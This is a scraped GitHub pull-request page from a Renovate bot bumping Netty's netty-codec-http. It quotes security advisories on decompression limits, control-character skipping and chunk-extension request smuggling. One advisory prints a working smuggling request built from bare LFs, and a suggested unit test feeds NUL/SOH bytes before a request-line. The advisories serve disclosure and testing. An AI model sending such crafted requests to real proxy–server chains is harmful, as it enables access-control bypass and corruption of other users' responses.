BrotliDecoder — add maxAllocation parameter with the same semantics as ZlibDecoder.prepareDecompressBuffer(): set buffer maxCapacity and throw DecompressionException when the total decompressed output exceeds the limit.

SnappyFrameDecoder — add maxAllocation parameter with equivalent enforcement.

ZstdDecoder — ensure that when maxAllocation is set, total output across all buffers is bounded (not just per-buffer allocation size).

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty: HttpObjectDecoder skips arbitrary initial control characters when only initial CRLF characters are permitted

CVE-2026-50020 / GHSA-hvcg-qmg6-jm4c

More information

Details

Summary

Before reading the first request-line, HttpObjectDecoder skips every byte for which
Character.isISOControl(b) is true (0x00–0x1F and 0x7F) as well as all whitespace.
RFC 9112 §2.2 only asks servers to ignore empty CRLF lines preceding the request-line —
a carefully scoped robustness allowance intended to handle HTTP/1.0 POST workarounds.
Silently absorbing NUL bytes, SOH, STX, and other non-CRLF control characters goes
significantly beyond this, and can be exploited for request-boundary confusion in pipelined
or multiplexed transports where a front-end component treats those bytes differently.

Affected Code

File	Lines	Role
`codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java`	1298–1313	`ISO_CONTROL_OR_WHITESPACE` static initialiser — marks all ISO control chars
`codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java`	1307–1313	`SKIP_CONTROL_CHARS_BYTES` `ByteProcessor` — skips the entire set
`codec-http/src/main/java/io/netty/handler/codec/http/HttpObjectDecoder.java`	1275–1289	`LineParser.skipControlChars` — advances `readerIndex` past all matching bytes

Specification Analysis

RFC 9112 §2.2 — Message Parsing

In the interest of robustness, a server that is expecting to receive and parse a
request-line SHOULD ignore at least one empty line (CRLF) received prior to the
request-line.

An HTTP/1.1 user agent MUST NOT preface or follow a request with an extra CRLF.

Deviation

The RFC names a single permitted exception: an empty line (bare CRLF, i.e. the two-byte
sequence \r\n). The ISO_CONTROL_OR_WHITESPACE table is initialised as:

for (byte b = Byte.MIN_VALUE; b < Byte.MAX_VALUE; b++) {
    ISO_CONTROL_OR_WHITESPACE[128 + b] =
        Character.isISOControl(b) || isWhitespace(b);
}

Character.isISOControl returns true for 0x00–0x1F and 0x7F. This includes NUL
(0x00), SOH (0x01), STX (0x02), BEL (0x07), DEL (0x7F), and every other non-CRLF
control character. The SKIP_CONTROL_CHARS state runs this scan unconditionally before the
first READ_INITIAL, meaning any sequence of such bytes prepended to a request is silently
consumed.

A load balancer or TLS terminator that does not perform the same scan sees a different
message boundary than Netty does, which is the basis of a request-desync / smuggling attack.

Suggested Unit Test

Add to HttpRequestDecoderTest.java.

@&#8203;Test
public void testNonCrlfControlBytesPrecedingRequestLineAreRejected() {
    // RFC 9112 §2.2: servers SHOULD ignore "at least one empty line (CRLF)" before the
    // request-line.  Non-CRLF control bytes are not part of this robustness allowance
    // and must not be silently swallowed.
    EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());

    ByteBuf buf = Unpooled.buffer();
    buf.writeByte(0x00);   // NUL  — not an empty CRLF line
    buf.writeByte(0x01);   // SOH  — not an empty CRLF line
    buf.writeCharSequence(
            "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n",
            CharsetUtil.US_ASCII);

    channel.writeInbound(buf);
    HttpRequest req = channel.readInbound();

    // Current behaviour: NUL and SOH are in ISO_CONTROL_OR_WHITESPACE, so they are
    // silently skipped; the request decodes successfully and isFailure() == false.
    //
    // RFC-correct behaviour: only empty CRLF lines should be ignored; NUL/SOH must
    // cause a parse error — isFailure() == true.
    assertTrue(
            req.decoderResult().isFailure(),
            "Non-CRLF control bytes before the request-line must not be silently skipped " +
            "(RFC 9112 §2.2 allows only empty CRLF lines)");

    assertFalse(channel.finish());
}

Current behaviour (unfixed): skipControlChars advances past 0x00 and 0x01 because
both are in ISO_CONTROL_OR_WHITESPACE; the request parses normally, isFailure() is
false → test fails.

Expected behaviour after fix: only CRLF empty lines are tolerated; non-CRLF control
bytes produce an error, isFailure() is true → test passes.

Severity

CVSS Score: 5.3 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions

CVE-2025-58056 / GHSA-fghv-69vj-qj49

More information

Details

Summary

A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies.

Details

When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the RFC).

This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension):

POST /one HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0

POST /two HTTP/1.1
Host: localhost:8080
Transfer-Encoding: chunked

0

The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see this Portswigger article).

Impact

This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients.

The impact is high, but it only affects setups that use a front-end which:

Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension.
Forwards chunk extensions without normalization.

Disclosure

This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html

Discussion

Discussion for this vulnerability can be found here:

Credit

Credit to @JeppW for uncovering this vulnerability.
Credit to @JLLeitschuh at Socket for coordinating the vulnerability disclosure.

Severity

Low

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

CVE-2025-67735 / GHSA-84h7-rjj3-6jx4

Details

renovatebot-confluentinc Bot added the renovatebot-cve label Sep 5, 2025

renovatebot-confluentinc Bot changed the title ~~Update dependency io.netty:netty-codec-http to v4.1.125.Final [SECURITY] (main)~~ Update dependency io.netty:netty-codec-http to v4.1.129.Final [SECURITY] (main) Dec 16, 2025

renovatebot-confluentinc Bot changed the title ~~Update dependency io.netty:netty-codec-http to v4.1.129.Final [SECURITY] (main)~~ Update dependency io.netty:netty-codec-http to v4.1.132.Final [SECURITY] (main) Apr 2, 2026

renovatebot-confluentinc Bot force-pushed the renovate/main-maven-io.netty-netty-codec-http-vulnerability branch 2 times, most recently from ea5243b to 45f1255 Compare May 7, 2026 15:36

renovatebot-confluentinc Bot changed the title ~~Update dependency io.netty:netty-codec-http to v4.1.132.Final [SECURITY] (main)~~ Update dependency io.netty:netty-codec-http to v4.1.133.Final [SECURITY] (main) May 7, 2026

Update dependency io.netty:netty-codec-http to v4.1.135.Final [SECURITY]

7e1e3ab

renovatebot-confluentinc Bot force-pushed the renovate/main-maven-io.netty-netty-codec-http-vulnerability branch from 45f1255 to 7e1e3ab Compare June 18, 2026 21:12

renovatebot-confluentinc Bot changed the title ~~Update dependency io.netty:netty-codec-http to v4.1.133.Final [SECURITY] (main)~~ Update dependency io.netty:netty-codec-http to v4.1.135.Final [SECURITY] (main) Jun 18, 2026

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Uh oh!

Update dependency io.netty:netty-codec-http to v4.1.135.Final [SECURITY] (main)#34

Update dependency io.netty:netty-codec-http to v4.1.135.Final [SECURITY] (main)#34
renovatebot-confluentinc[bot] wants to merge 1 commit into
mainfrom
renovate/main-maven-io.netty-netty-codec-http-vulnerability

renovatebot-confluentinc Bot commented Sep 5, 2025 •

edited

Loading

Uh oh!

Reviewers

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Uh oh!

Conversation

renovatebot-confluentinc Bot commented Sep 5, 2025 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

Netty vulnerable to request smuggling due to incorrect parsing of chunk extensions

Details

Summary

Details

Impact

Disclosure

Discussion

Credit

Severity

References

Netty has a CRLF Injection vulnerability in io.netty.handler.codec.http.HttpRequestEncoder

Details

Summary

Details

PoC

Impact

Severity

References

Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

Details

Summary

Background

Technical Details

Vulnerability

Proof of Concept

Parsing Breakdown

Impact

Reproduction

Suggested Fix

Acknowledgments

Resources

Attachments

Severity

References

Netty: Start-Line Injection in DefaultHttpRequest.setUri() Allows HTTP Request Smuggling and RTSP Request Injection

Details

Summary

Details

PoC (HTTP)

PoC (RTSP)

Impact

Root Cause

Suggested Fix Direction

Affected Area

Severity

References

Netty vulnerable to HTTP Request Smuggling due to incorrect chunk size parsing

Details

Summary

Details

PoC

Impact

Severity

References

Netty HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

Details

NETTY HTTP/1.0 TE+CL Coexistence Bypasses Smuggling Sanitization

Summary

Root Cause

Proof of Concept

Conditions Required

Impact

Confirmed PoC Test

Fix Guidance

Severity

References

Netty has HttpClientCodec response desynchronization

Details

Summary

Details

PoC

Impact

Severity

References

Netty vulnerable to HTTP Request Smuggling due to malformed Transfer-Encoding

Details

renovatebot-confluentinc Bot commented Sep 5, 2025 •

edited

Loading